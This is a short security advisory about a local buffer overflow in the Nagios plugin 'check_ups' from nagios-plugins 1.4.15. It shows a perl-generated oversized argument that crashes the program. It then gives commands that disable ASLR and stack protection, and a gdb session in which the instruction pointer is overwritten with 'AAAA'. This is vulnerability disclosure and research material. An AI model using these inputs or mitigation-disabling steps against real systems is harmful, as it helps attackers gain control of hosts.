74 lines
No EOL
2.8 KiB
Text
74 lines
No EOL
2.8 KiB
Text
#################################################################
|
|
# Advisory: Nagios Plugin 'check_ups' local buffer overflow
|
|
# Author: Stefan Schurtz
|
|
# Contact: s.schurtz@infoserve.de
|
|
# Affected Software: Successfully tested on nagios-plugins-1.4.15
|
|
# Vendor URL: http://nagiosplugins.org/
|
|
#################################################################
|
|
|
|
./check_ups -u `perl -e 'print "A"x16407'`
|
|
*** buffer overflow detected ***: ./check_ups terminated
|
|
======= Backtrace: =========
|
|
/lib/libc.so.6(__fortify_fail+0x50)[0x25d970]
|
|
/lib/libc.so.6(+0xe486a)[0x25c86a]
|
|
/lib/libc.so.6(+0xe3fa8)[0x25bfa8]
|
|
/lib/libc.so.6(_IO_default_xsputn+0x9e)[0x1e2a2e]
|
|
/lib/libc.so.6(_IO_vfprintf+0x36b2)[0x1b88c2]
|
|
/lib/libc.so.6(__vsprintf_chk+0xad)[0x25c05d]
|
|
/lib/libc.so.6(__sprintf_chk+0x2d)[0x25bf9d]
|
|
./check_ups[0x8049e66]
|
|
./check_ups[0x804a105]
|
|
./check_ups[0x804a4ce]
|
|
/lib/libc.so.6(__libc_start_main+0xe7)[0x18ece7]
|
|
./check_ups[0x80491a1]
|
|
======= Memory map: ========
|
|
00110000-0012c000 r-xp 00000000 08:01 660177 /lib/ld-2.12.1.so
|
|
0012c000-0012d000 r--p 0001b000 08:01 660177 /lib/ld-2.12.1.so
|
|
0012d000-0012e000 rw-p 0001c000 08:01 660177 /lib/ld-2.12.1.so
|
|
0012e000-0012f000 r-xp 00000000 00:00 0 [vdso]
|
|
0012f000-00142000 r-xp 00000000 08:01 660186 /lib/libnsl-2.12.1.so
|
|
00142000-00143000 r--p 00012000 08:01 660186 /lib/libnsl-2.12.1.so
|
|
00143000-00144000 rw-p 00013000 08:01 660186 /lib/libnsl-2.12.1.so
|
|
00144000-00146000 rw-p 00000000 00:00 0
|
|
|
|
// Compile without stack protection
|
|
|
|
sysctl -w kernel.randomize_va_space=0
|
|
|
|
cd plugins/
|
|
|
|
gcc -fno-stack-protector -z execstack -DNP_VERSION=\"1.4.15\" -g -o check_ups check_ups.c netutils.o utils.o -L/usr/src/nagios-plugins-1.4.15/plugins ../lib/libnagiosplug.a ../gl/libgnu.a -DLOCALEDIR=\"/usr/local/nagios/share/locale\" -I../lib -I../gl -I../intl -I..
|
|
|
|
// next test
|
|
|
|
./check_ups -u `perl -e 'print "A"x16408'`
|
|
Connection refused
|
|
Invalid response received from host
|
|
Segmentation fault
|
|
|
|
(gdb) run -u `perl -e 'print "A"x16408'`
|
|
The program being debugged has been started already.
|
|
Start it from the beginning? (y or n) y
|
|
Starting program: /usr/src/nagios-plugins-1.4.15/plugins/check_ups -u `perl -e 'print "A"x16408'`
|
|
Connection refused
|
|
Invalid response received from host
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41414141 in ?? ()
|
|
(gdb) i r
|
|
eax 0xffffffff -1
|
|
ecx 0x2914e0 2692320
|
|
edx 0x292360 2696032
|
|
ebx 0x41414141 1094795585
|
|
esp 0xbfff56f0 0xbfff56f0
|
|
ebp 0x41414141 0x41414141 <--- AAAA
|
|
esi 0x0 0
|
|
edi 0x0 0
|
|
eip 0x41414141 0x41414141 <--- AAAA
|
|
eflags 0x10286 [ PF SF IF RF ]
|
|
cs 0x73 115
|
|
ss 0x7b 123
|
|
ds 0x7b 123
|
|
es 0x7b 123
|
|
fs 0x0 0
|
|
gs 0x33 51 |